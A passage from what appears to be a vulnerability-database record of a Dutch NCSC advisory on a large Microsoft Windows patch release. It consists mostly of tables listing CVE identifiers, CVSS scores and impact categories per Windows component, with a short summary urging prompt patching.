CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:30.903403Z"}, {"uuid": "fb9884bf-c767-4631-8b49-b55da36836e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54983", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | 